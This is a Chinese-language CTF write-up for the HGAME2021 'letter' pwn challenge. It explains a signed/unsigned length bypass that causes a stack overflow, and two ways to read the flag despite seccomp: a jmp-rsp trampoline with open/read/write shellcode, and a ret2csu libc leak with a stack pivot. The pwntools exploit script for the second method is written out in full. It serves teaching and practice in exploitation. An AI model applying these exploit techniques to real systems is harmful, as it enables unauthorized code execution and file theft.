【WP】orw的shellcode编写
本题来自HGAME2021 week1
题目描述
存在负数溢出
LOWORD 取第十六位

读十字节数据到栈上,通过atoi函数将读入数据转换为int类型数据并赋给变量length,而length为unsigned int且位于bss段
将unsignde int的变量强制转换为signed int类型并与15比大小,只需要写入负数即可绕过比较同时触发栈溢出
程序存在seccomp,无法调用system等系统调用函数,open,read,write函数可用,考虑通过这三个函数读取并显示flag文件


程序存在rwx段,且NX保护未开启,于是可以通过在栈上写入shellcode并执行
exp1
以jmp rsp指令为跳板
思路:输入一个负数,经atoi函数转化后存在buf里,然后取它的低双字部分(对应后面的8个16进制数),使它是 jmp rsp对应的地址。第二次输入时返回地址布置为jmp rsp,紧接着填充orw的shellcode
如何寻找jmp rsp地址呢?
写一段shellcode然后查看1
2
3
4shellcode = 'jmp rsp'
res = asm(shellcode)
···
r.send(res)
可以看到'jmp rsp'指令对应的形式为0xe4ff
要负数,所以考虑让其存储为0xf000e4ff,计算需要输入的数:由于 0xffffffff-0xf000e4ff+1 = 268376833, 所以我们在第一次读入时写入-268376833
看到length处指向的指令为jmp rsp
直接在栈上返回地址填入length变量的地址,并在之后继续写入shellcode内容
则当执行到返回地址处时,会执行jmp rsp指令,而此时rsp正指向shellcode的内容,从而直接执行shellcode
【push 0x67616c66,该程序为小端序,0x67616c66正确顺序为0x666c6167,对应字符串flag,作为open函数的参数】
1 | from pwn import * |
exp2
栈迁移+shellcode
思路:
- 写入负数绕过检查
- 利用csu通用gadget泄露write真实地址,计算libc基址,并计算open函数真实地址
- 注意在后面pop rbp时设置好之后栈迁移处的栈底地址

- 返回到栈溢出处继续执行
- 由于刚才设置了rbp的值为0x601510,跳转执行read时读入地址是如下图所示计算得到的,所以这次会把我们的输入写到0x601500



- 从0x601500开始读入(0x18+8)= 0x20个字节,所以在返回地址处写入0x601520,并在这之后继续写入shellcode,从而成功返回到shellcode并执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30from pwn import*
context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./letter')
context.arch = elf.arch
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
pop6 = 0x400A9A
mmmc = 0x400A80
vuln = 0x400958
p = process('./letter')
p.sendafter('?\n',str(0xffffffff).ljust(0x10,'\x00'))
payload = 'a'*0x18+p64(pop6)+p64(0)+p64(1)+p64(write_got)+p64(1)+p64(write_got)+p64(8)
payload += p64(mmmc)+'a'*16+p64(0x00601000+0x500+0x10)+'a'*32+p64(0x4009DD)
p.send(payload)
p.recvuntil('.\n')
write_leak = u64(p.recv(8))
libcbase = write_leak - libc.sym['write']
open_addr = libcbase + libc.sym['open']
print 'libcbase==>', hex(libcbase)
payload = 'a'*0x18+p64(0x00601000+0x500+0x10+0x10)+asm(shellcraft.open('flag'))
payload += asm(shellcraft.read(3,0x00601000+0x500+0x100,100))
payload += asm(shellcraft.write(1,0x00601000+0x500+0x100,100))
p.sendline(payload)
p.interactive()
本地打效果





